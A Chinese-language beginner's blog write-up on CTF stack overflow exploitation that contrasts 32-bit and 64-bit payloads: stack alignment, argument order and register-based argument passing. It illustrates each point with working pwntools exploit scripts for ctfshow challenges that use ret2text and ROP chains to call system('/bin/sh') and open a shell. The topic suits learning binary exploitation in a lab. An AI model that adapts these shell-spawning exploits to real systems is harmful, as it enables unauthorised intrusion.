本文介绍了32位和64位程序在栈溢出漏洞利用时的区别，包括栈堆平衡的概念，即64位程序中payload字节数需为16的倍数，以及参数顺序的不同，32位先写函数后写参数，64位则先写参数。此外，讨论了参数存放位置，32位在栈中，64位使用寄存器优先。文章还提出了关于64位系统中函数返回值处理的疑问，并引用了相关参考资料。
目录
pwn入门，栈溢出漏洞是比较合适的。但我们经常会遇到i386【下面称32位】和amd64【下面称64位】的可执行程序【题目附件】。而32位与64位同样的情况，比如同样是ret2text或ret2syscall时，写的payload是不一样的，但大体的思路是一样的。
本人也是入门pwn的小白，写的不对的地方还请师傅们指出。
栈堆平衡
32位中，没有堆栈平衡一说，而64位中有。payload中的堆栈平衡简单来说，就是要保证payload的字节数是16的倍数。而p64是将地址转为8字节的字符串，所以payload中得保证p64是偶数倍，就能满足堆栈平衡【起初我也没理解，但在群里和其他师傅讨论时，突然悟到了】。因此对于写完payload后还是单数倍的p64时，就需要加单数个【当然加1个就行】p64(ret)，【ret代表ret指令的地址，可以直接在IDA里面任意找一个，也可以用ROPgadget来找】，因为ret的多少不会影响到函数的执行逻辑，所以用其来平衡。【9月26日补充，这个平衡还是感觉有点玄学，前几天在打moectf上的某道题时，由于我多加了ret，凑成偶数结果反而没打通，去掉却可以，西电出题的师傅给我推了这篇关于栈对齐博客可以看看，而今天做newstarctf，第一道pwn题，加ret与不加ret都可以打通。。所以我目前是，加ret与不加ret都试试】
找到一个佬关于栈平衡的视频动态调试讲解，通俗易懂：【2024-01-07】pwn技术分享—执行system前为何要执行retn指令_哔哩哔哩_bilibili
以ctfshow，pwn入门，pwn37,38为例：
# pwn37
from pwn import *
context(arch = 'i386', os = 'linux', log_level = 'debug')
elf = ELF('./pwn37')
io = remote('pwn.challenge.ctf.show', 28184)
# backdoor = elf.sym['backdoor']
backdoor = 0x8048521
payload = cyclic(0x12 + 4) + p32(backdoor)
# payload = 'a'*(0x12 + 4) + p32(backdoor)
io.sendline(payload)
io.recv() #can remove the process of code show above
io.interactive()# pwn38
from pwn import *
context(arch = 'amd64',os = 'linux', log_level = 'debug')
io = remote('pwn.challenge.ctf.show', 28155)
elf = ELF('./pwn38')
backdoor = elf.sym['backdoor']
# payload = cyclic(0xa + 8) + p64(0x400772) + p64(backdoor)
# payload = cyclic(0xa + 8) + p64(0x400656) + p64(backdoor)
# payload = cyclic(0xa + 8) + p64(0x40066D) + p64(backdoor)
# payload = cyclic(0xa + 8) + p64(0x4005B9) + p64(backdoor)
payload = cyclic(0xa + 8) + p64(0x4005F9) + p64(backdoor)
io.sendline(payload)
io.interactive()参数顺序
32位中先写函数，再写参数【参数可能是返回值，如调用system，需要多加个参数作返回值】【8月10日更改，做了这么多题，发现32bit的payload中，最后一个函数都需要有返回值】【8月12日补充，又做一些题，进一步明白，每个函数都有返回值，而我们对函数返回值不感兴趣【比如一些函数执行成功会返回1】只需要有个位置充当一下，而之前对于多个函数的解释也进一步得以优化，其应该是需要返回值的，只不过位置正好被其他的东西给占据了，如pop_这些用于给参数位置的rop链给一举两得给占据了，也就是说，即使是最后一个函数有参数，也不用在单独写一个p32(0)来填充返回值的位置，因为pop_已经将这件事给做了 ，例如payload = cyclic(0x2c + 4) + p32(func1) + p32(func2) + p32(pop_ebx) + p32(0xACACACAC) + p32(flag) + p32(pop_ebx) + p32(0xBDBDBDBD)
】
64位中先写参数，再写函数
以ctfshow，pwn入门，pwn41、42,为例：
# pwn41
from pwn import *
elf = ELF('./pwn41')
io = remote('pwn.challenge.ctf.show', 28139)
system = elf.sym['system']
sh = next(elf.search('sh'))
payload = cyclic(0x12 + 4) + p32(system) + p32(0) + p32(sh)
io.sendline(payload)
io.interactive()
# pwn42
from pwn import *
context(arch = 'amd64', os = 'linux', log_level = 'debug')
# context.log_level = 'debug'
elf = ELF('./pwn42')
io = remote('pwn.challenge.ctf.show', '28155')
# io = process('pwn')
system = elf.sym['system']
sh = next(elf.search('sh'))
pop_rdi_ret = 0x0000000000400843
# ret = 0x000000000040053e
ret = 0x4006D5 # from IDA find any ret
payload = cyclic(0xa + 8) + p64(pop_rdi_ret) + p64(sh) + p64(ret) + p64(system)
io.sendline(payload)
io.interactive()参数存放位置
在32位中，参数和返回值直接就存在栈中，但对于payload中有多个函数时，如果不是最后一个函数，则需要将其参数用寄存器来保存【目前我试过的寄存器都可以，只要参数个数和控制到的寄存器一致就行】【8月13日补充，尽管上述想法能让我们正确做出题目，但关于参数的说法还是不太妥当，首先32位中参数是保存在栈上的，而非寄存器上。其次这个理论也不能解释其他的能打通的payload，如下面pwn43这个也能打通：cyclic(0x6c + 4) + p32(gets) + p32(system) + p32(buf2) + p32(buf2)，这个则可以通过填充返回值来理解，也确实合理】【但我做题还是会用32位寄存器的思想，直到我有一天题目没打通，那么我会再次回来修改文章】
如ctfshow，pwn入门，pwn43
ROPgadget --binary pwn43 --only 'pop|ret'
# pwn43
from pwn import *
context.log_level = 'debug'
elf = ELF('./pwn43')
# io = remote('pwn.challenge.ctf.show', 28107)
io = process('pwn43')
gets = elf.sym['gets']
system = elf.sym['system']
buf2 = 0x804B060
pop_ebx = 0x08048409
pop_ebp = 0x0804884b
payload = cyclic(0x6c + 4) + p32(gets) + p32(pop_ebx) + p32(buf2) + p32(system) + p32(0) + p32(buf2)
# payload = cyclic(0x6c + 4) + p32(gets) + p32(pop_ebp) + p32(buf2) + p32(system) + p32(0) + p32(buf2)
io.sendline(payload)
io.sendline('/bin/sh') # can also use 'sh'
# io.recv()
io.interactive()
在64位中，函数参数一律得用寄存器来存储【从上面pwn42也可以看出来】
64位和32位不同，参数不是直接放在栈上，而是优先放在寄存器rdi,rsi,rdx,rcx,r8,r9。这几个寄存器放不下时才会考虑栈。--摘录自：某题wp
如ctfshow，pwn入门，pwn44
ROPgadget --binary pwn44 --only 'pop|ret'
# pwn44
from pwn import *
context.log_level = 'debug'
elf = ELF('./pwn44')
io = remote('pwn.challenge.ctf.show', 28180)
system = elf.sym['system']
gets = elf.sym['gets']
buf2 = 0x602080
pop_rdi = 0x00000000004007f3
pop_r15 = 0x00000000004007f2 #试过，不行
ret = 0x00000000004004fe
payload = cyclic(0xa + 8) + p64(pop_rdi) + p64(buf2) + p64(gets) + p64(pop_rdi) + p64(buf2) + p64(system)
io.sendline(payload)
io.sendline('/bin/sh')
io.interactive()
疑问
其次还发现64位中，不用管system的返回值，不知道是不是因为64位中会自动用寄存器存储函数返回值，还是说64位系统中，返回值在函数后，而恰巧有返回值的system函数又在payload最后，所以不用写也可以。。。。。这目前还没研究明白，还请知道的师傅指教
Fxe0_0师傅表示：具体情况具体分析
扫一扫
1495
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
